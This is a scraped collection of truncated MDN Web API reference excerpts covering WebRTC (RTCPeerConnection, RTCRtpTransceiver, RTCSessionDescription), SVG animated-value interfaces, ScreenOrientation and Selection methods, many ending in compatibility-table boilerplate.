tiationneeded event to be fired on the rtcpeerconnection to inform the application that it should perform negotiation using its signaling channel. if negotiation fails to complete—either due to rollback or because incoming offers are in the process of being negotiated—the rtcpeerconnection will remember that you requested ice restart. the next time the connection's signalingstate changes to s
table, the connection will fire the negotiationneeded event. this process continues until an ice restart has been successfully completed. syntax rtcpeerconnection.restartice(); parameters none. return value undefined. usage notes after calling restartice(), the next offer created using createoffer() will initiate ice restart once sent to the remote peer over your signaling mechanism. restarting...
RTCPeerConnection.setLocalDescription() - Web APIs
nal an rtcsessiondescriptioninit or rtcsessiondescription which specifies the configuration to be applied to the local end of the connection. if the description is omitted, the webrtc runtime tries to automatically do the right thing. implicit description if you don't explicity provide a session description, the webrtc runtime will try to handle it correctly. if the signaling state is one of s
table, have-local-offer, or have-remote-pranswer, the webrtc runtime automatically creates a new offer and sets that as the new local description. otherwise, setlocaldescription() creates an answer, which becomes the new local description. type of the description parameter the description is of type rtcsessiondescriptioninit, which is a serialized version of a rtcsessiondescription browser object. th...
RTCPeerConnection.signalingState - Web APIs
state = rtcpeerconnection.signalingstate; value the allowed values are those included in the enum rtcsignalingstate. rtcsignalingstate enum the rtcsignalingstate enum specifies the possible values of rtcpeerconnection.signalingstate, which indicates where in the process of signaling the exchange of offer and answer the connection currently is. constant description "s
table" there is no ongoing exchange of offer and answer underway. this may mean that the rtcpeerconnection object is new, in which case both the localdescription and remotedescription are null; it may also mean that negotiation is complete and a connection has been established. "have-local-offer" the local peer has called rtcpeerconnection.setlocaldescription(), passing in sdp representi...
RTCPeerConnection - Web APIs
o multiplex rtcp atop them. if the remote peer doesn't support rtcp multiplexing, then session negotiation fails. rtcsignalingstate enum the rtcsignalingstate enum specifies the possible values of rtcpeerconnection.signalingstate, which indicates where in the process of signaling the exchange of offer and answer the connection currently is. constant description "s
table" there is no ongoing exchange of offer and answer underway. this may mean that the rtcpeerconnection object is new, in which case both the localdescription and remotedescription are null; it may also mean that negotiation is complete and a connection has been established. "have-local-offer" the local peer has called rtcpeerconnection.setlocaldescription(), passing in sdp representi...
RTCRtpContributingSource.source - Web APIs
ributingsource (in which case the value is a csrc identifier) or rtcrtpsynchronizationsource (the value is an ssrc identifier). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'source' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support ...
RTCRtpReceiver.getCapabilities() static function - Web APIs
ely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpreceiver.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be s
table for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations. example the function bel...
RTCRtpReceiver.track - Web APIs
h the current rtcrtpreceiver instance. syntax var mediastreamtrack = rtcrtpreceiver.track value a mediastreamtrack instance. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettrackchrome full support ...
RTCRtpSender.getCapabilities() static function - Web APIs
irely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpsender.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be s
table for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations. example the function bel...
RTCRtpStreamStats - Web APIs
in each of these cases, there are also additional properties added depending on which interface the method is called on. rtcrtpstreamstats is the base class for all rtp-related statistics reports. it's based on rtcstats and adds the following additional fields. note: this interface was called rtcrtpstreamstats until a specification update in the spring of 2017. check the browser compatibility
table to know if and when the name change was implemented in specific browsers. properties the rtcrtpstreamstats dictionary is based on rtcstats, and inherits its properties. in addition, some or all of the following properties are available. standard fields included for all media types codecid a domstring which uniquely identifies the object which was inspected to produce the rtccodecstats obj...
RTCRtpTransceiver.currentDirection - Web APIs
directionality using direction property. syntax var direction = rtcrtptransceiver.currentdirection value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the
table below. value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1. offers to receive rtp data, and does so if the other peer accepts. "sendonly" offers to send rtp data, and will do so if the other peer accepts th...
RTCRtpTransceiver.direction - Web APIs
yntax var direction = rtcrtptransceiver.direction value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the
table below. value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1. offers to receive rtp data, and does so if the other peer accepts. "sendonly" offers to send rtp data, and will do so if the other peer accepts th...
RTCRtpTransceiverDirection - Web APIs
sceiverdirection type is an enumerated set of strings which are used to describe the directionality of a rtcrtptransceiver instance. both the preferred direction and the currentdirection properties are of this type. values the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the
table below. value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1. offers to receive rtp data, and does so if the other peer accepts. "sendonly" offers to send rtp data, and will do so if the other peer accepts th...
RTCSessionDescription() - Web APIs
session negotiation process begins with an offer being sent from the caller to the callee. pranswer the session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. it is usually employed by legacy hardware. rollback this special type with an empty session description is used to roll back to the previous s
table state. sdp a string containing a sdp message describing the session. this value is an empty string ("") by default and may not be null. example this example uses the constructor to convert an sdp offer into an rtcsessiondescription object. this is no longer necessary, however; rtcpeerconnection.setlocaldescription() and other methods which take sdp as input now directly acce...
RTCSessionDescription.type - Web APIs
values are those of an enum of type rtcsdptype: "offer", the description is the initial proposal in an offer/answer exchange. "answer", the description is the definitive choice in an offer/answer exchange. "pranswer", the description is a provisional answer and may be changed when the definitive choice will be given. "rollback", the description rolls back to offer/answer state to the last s
table state. example // the remote description has been set previously on pc, a rtcpeerconnection alert(pc.remotedescription.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.type' in that specification. candidate recommendation initial specification. ...
RTCSessionDescription - Web APIs
session negotiation process begins with an offer being sent from the caller to the callee. pranswer the session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. it is usually employed by legacy hardware. rollback this special type with an empty session description is used to roll back to the previous s
table state. methods the rtcsessiondescription doesn't inherit any methods. rtcsessiondescription() this constructor returns a new rtcsessiondescription. the parameter is a rtcsessiondescriptioninit dictionary containing the values to assign the two properties. rtcsessiondescription.tojson() returns a json description of the object. the values of both properties, type and sdp, are conta...
ReadableStream - Web APIs
the stream to it. while the stream is locked, no other reader can be acquired until this one is released. readablestream.getreader() creates a reader and locks the stream to it. while the stream is locked, no other reader can be acquired until this one is released. readablestream.pipethrough() provides a chainable way of piping the current stream through a transform stream or any other wri
table/readable pair. readablestream.pipeto() pipes the current readablestream to a given wri
tablestream and returns a promise that fulfills when the piping process completes successfully, or rejects if any errors were encountered. readablestream.tee() the tee method tees this readable stream, returning a two-element array containing the two resulting branches as new readablestream instances. each o...
Resize Observer API - Web APIs
previously their implementations have often been hacky and/or brittle. for example, media queries / window.matchmedia are great for updating layouts at specific points when the viewport changes sizes, but what if you want to change layout in response to a specific element's size changing, which isn't the outer container? to achieve this, a limited solution would be to listen to changes to a sui
table event that hints at the element you are interested in changing size (e.g. the window resize event), then figure out what the new dimensions or other features of the element after a resize using element.getboundingclientrect or window.getcomputedstyle, for example. such a solution tends to only work for limited use cases, be bad for performance (continually calling the above methods would result ...
Resource Timing API - Web APIs
performance entry buffer. the setresourcetimingbuffersize() method sets the resource performance entry buffer size to the specified number of resource performance entries. the performanceresourcetiming interface's tojson() method returns a json serialization of a "resource" type performance entry. implementation status as shown in the performanceresourcetiming interface's browser compatibility
table, most of these interfaces are broadly implemented by desktop browsers. however, note that some properties have little to no implementation so see each property's "browser compatibility" section for more specific interoperability data. to test your browser's support for these interfaces, run the perf-api-support application. see also resource timing standard; w3c editor's draft caniuse data ...
Response.type - Web APIs
response. it can be one of the following: basic: normal, same origin response, with all headers exposed except “set-cookie” and “set-cookie2″. cors: response was received from a valid cross-origin request. certain headers and the body may be accessed. error: network error. no useful information describing the error is available. the response’s status is 0, headers are empty and immu
table. this is the type for a response obtained from response.error(). opaque: response for “no-cors” request to cross-origin resource. severely restricted. opaqueredirect: the fetch request was made with redirect: "manual". the response's status is 0, headers are empty, body is null and trailer is empty. note: an "error" response never really gets exposed to script: such a response to a fetch...
SVGAElement.target - Web APIs
an be found here example the code is taken from the "svgaelement example code" ... var linkref = document.queryselector('a'); linkref.target ='_blank'; ... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'target' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettargetchrome full support ...
format - Web APIs
rty. if the font is in one of the formats listed in css2([css2], section15.3.5), then its value is the corresponding <string> parameter of the font. syntax string = myglyph.format; myglyph.format = string; value the format values listed below are taken from css2([css2], section15.3.5). ...
SVGAngle - Web APIs
an exception being thrown. an svgangle object can be associated with a particular element. the associated element is used to determine which element's content attribute to update if the object reflects an attribute. unless otherwise described, an svgangle object is not associated with any element. every svgangle object operates in one of two modes: reflect the base value of a reflected anima
table attribute (being exposed through the baseval member of an svganimatedangle), be detached, which is the case for svgangle objects created with svgsvgelement.createsvgangle(). constants svg_angletype_unknown some unknown type of value. svg_angletype_unspecified a unitless <number> interpreted as a value in degrees. svg_angletype_deg an <angle> with a deg unit. svg_angletype_rad an <ang...
SVGAnimatedAngle - Web APIs
e of the given attribute. if the given attribute is not currently being animated, then the svgangle will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedangle interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedanglechrome full support ...
SVGAnimatedBoolean - Web APIs
any animations. animval boolean if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedboolean interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedbooleanchrome full support ...
SVGAnimatedEnumeration - Web APIs
ions. animval unsigned short if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedenumeration interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedenumerationchrome full support ...
SVGAnimatedInteger - Web APIs
ng any animations. animval long if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedinteger interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedintegerchrome full support ...
SVGAnimatedLength - Web APIs
ny animations. animval svglength if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedlength interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthchrome full support ...
SVGAnimatedLengthList - Web APIs
iven attribute. if the given attribute is not currently being animated, then the svglengthlist will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedlengthlist interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthlistchrome full support ...
SVGAnimatedNumber - Web APIs
ing any animations. animval float if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatednumber interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberchrome full support ...
SVGAnimatedNumberList - Web APIs
the given attribute. if the given attribute is not currently being animated, then the svgnumberlist will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatednumberlist interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberlistchrome full support ...
SVGAnimatedPoints - Web APIs
urrent animated contents of the points attribute. if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as points. methods the svganimatedpoints interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedpointschrome ? edge ...
SVGAnimatedPreserveAspectRatio - Web APIs
ribute. if the given attribute is not currently being animated, then the svgpreserveaspectratio will have the same contents as baseval. the object referenced by animval is always distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedpreserveaspectratio interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedpreserveaspectratiochrome full support...
SVGAnimatedRect - Web APIs
lue of the given attribute. if the given attribute is not currently being animated, then the svgrect will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedrect interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedrectchrome full support ...
SVGAnimatedString.animVal - Web APIs
ed svg animation. as a result, the animval property contains the same value as the baseval property. syntax var = object.animval specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimvalchrome full support ...
SVGAnimatedString.baseVal - Web APIs
e before any animations are applied.the base value of the given attribute before applying any animations. setter throws domexception. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbasevalchrome full support ...
SVGAnimatedString - Web APIs
applying any animations. setter throws domexception. methods the svganimatedstring interface do not provide any specific methods. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedstringchrome full support ...
SVGAnimatedTransformList - Web APIs
tribute. if the given attribute is not currently being animated, then the svgtransformlist will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedtransformlist interface doesn't provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedtransformlistchrome full support ...
SVGCircleElement - Web APIs
ication. candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgcircleelementchrome full support ...
SVGGraphicsElement: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it from the document. ...
SVGGraphicsElement: paste event - Web APIs
the paste event is fired on an svggraphicselement when the user has initiated a "paste" action through the browser's user interface. bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an edi
table context (for example, in a <textarea> or an element with contentedi
table attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property. to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action usi...
SVGGraphicsElement - Web APIs
properties this interface also inherits properties from its parent, svgelement. svggraphicselement.transform read only an svganimatedtransformlist reflecting the computed value of the transform property and its corresponding transform attribute of the given element. methods this interface also inherits methods from its parent, svgelement. ...
SVGImageElement.decoding - Web APIs
eference for the decoding mode. the browser decides what is best for the user. examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html living standardthe definition of 'decoding' in that specification. living standard initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdecoding experimentalchrome full support ...
SVGLength - Web APIs
alueinspecifiedunits, and valueasstring might be modified as a result of this method. for example, if the original value were "0.5cm" and the method was invoked to convert to millimeters, then the unittype would be changed to svg_lengthtype_mm, valueinspecifiedunits would be changed to the numeric value 5 and valueasstring would be changed to "5mm". browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvglengthchrome full support ...
SVGLengthList - Web APIs
st. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvglengthlistchrome full support ...
SVGNumberList - Web APIs
if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgnumberlistchrome full support ...
SVGPreserveAspectRatio - Web APIs
f the meet-or-slice value as specified by one of the svg_meetorslice_* constants defined on this interface. exceptions on setting: a domexception with code no_modification_allowed_err is raised on an attempt to change the value of an attribute on a read only object. methods the svgpreserveaspectratio interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgpreserveaspectratiochrome full support ...
The 'X' property - Web APIs
the element. usage context name x value <length> | <percentage> initial 0 applies to <mask> , ‘svg’, ‘rect’, ‘image’, ‘foreignobject’ inherited no percentages refer to the size of the current viewport (see units) media visual computed value absolute length or percentage anima
table yes simple usage a <coordinate> is a length in the user coordinate system that is the given distance from the origin of the user coordinate system along the relevant axis (the x-axis for x coordinates, the y-axis for y coordinates). its syntax is the same as that for <length> // rect draws a rectangle with upper left-hand corner at x,y, with width w, and height h, with optional style ...
SVGStylable - Web APIs
name & arguments return description getpresentationattribute(in domstring name) cssvalue returns the base (i.e., static) value of a given presentation attribute as an object of type cssvalue. the returned object is live; changes to the objects represent immediate changes to the objects to which the cssvalue is attached. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgstylablechrome ? edge ...
SVGTransform - Web APIs
only. setskewy(in float angle) void sets the transform type to svg_transform_skewy, with parameter angle defining the amount of skew. exceptions: a domexception with code no_modification_allowed_err is raised when attempting to modify a read only attribute or when the object itself is read only. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformchrome full support ...
SVGTransformList - Web APIs
ecifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtransformlist' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtransformlist' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformlistchrome full support ...
SVGTransformable - Web APIs
readonly svganimatedtransformlist transform normative document svg 1.1 (2nd edition) properties name type description transform svganimatedtransformlist corresponds to attribute transform on the given element. methods the svgtransformable interface do not provide any specific methods. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformablechrome ? edge ...
ScreenOrientation.angle - Web APIs
property of the screenorientation interface returns the document's current orientation angle. syntax angle = screenorientation.angle value an unsigned short integer. specifications specification status comment screen orientation apithe definition of 'angle' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanglechrome full support ...
ScreenOrientation.lock() - Web APIs
ollowing: "any" "natural" "landscape" "portrait" "portrait-primary" "portrait-secondary" "landscape-primary" "landscape-secondary" return value a promise. specifications specification status comment screen orientation apithe definition of 'lock()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlockchrome full support ...
ScreenOrientation.onchange - Web APIs
alled when the screen changes orientation. syntax screenorientation.addeventlistener('change', function(e) { ... }) screenorientation.onchange = function(e) { ... } specifications specification status comment screen orientation apithe definition of 'onchange' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonchangechrome full support ...
ScreenOrientation.type - Web APIs
orientation type, one of "portrait-primary", "portrait-secondary", "landscape-primary", or "landscape-secondary". syntax type = screenorientation.type value a string. specifications specification status comment screen orientation apithe definition of 'type' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettypechrome full support ...
ScreenOrientation.unlock() - Web APIs
interface unlocks the orientation of the containing document from its default orientation. syntax screenorientation.unlock() parameters none. return value void. specifications specification status comment screen orientation apithe definition of 'unlock()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetunlockchrome full support ...
ScreenOrientation - Web APIs
its default orientation and returns a promise. screenorientation.unlock() unlocks the orientation of the containing document from its default orientation. specifications specification status comment screen orientation apithe definition of 'screenorientation' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome full support ...
Screen Orientation API - Web APIs
the screen orientation api provides information about the orientation of the screen. interfaces screenorientation specifications specification status comment screen orientation api working draft initial definition. browser compatibility screenorientation the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome full support 38edge full support ...
Selection.collapse() - Web APIs
syntax sel.collapse(node, offset); parameters node the caret location will be within this node. this value can also be set to null — if null is specified, the method will behave like selection.removeallranges(), i.e. all ranges will be removed from the selection. offset optional the offset in node to which the selection will be collapsed. if not specified, the default value 0 is used. ...
Selection.extend() - Web APIs
the node within which the focus will be moved. offset optional the offset position within node where the focus will be moved to. if not specified, the default value 0 is used. specifications specification status comment selection apithe definition of 'selection.extend()' in that specification. working draft current browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetextend experimentalchrome full support ...
Selection.removeAllRanges() - Web APIs
anges from the selection, leaving the anchornode and focusnode properties equal to null and leaving nothing selected. syntax sel.removeallranges(); parameters none. specifications specification status comment selection apithe definition of 'selection.removeallranges()' in that specification. working draft current browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoveallranges experimentalchrome full support ...
Selection.removeRange() - Web APIs
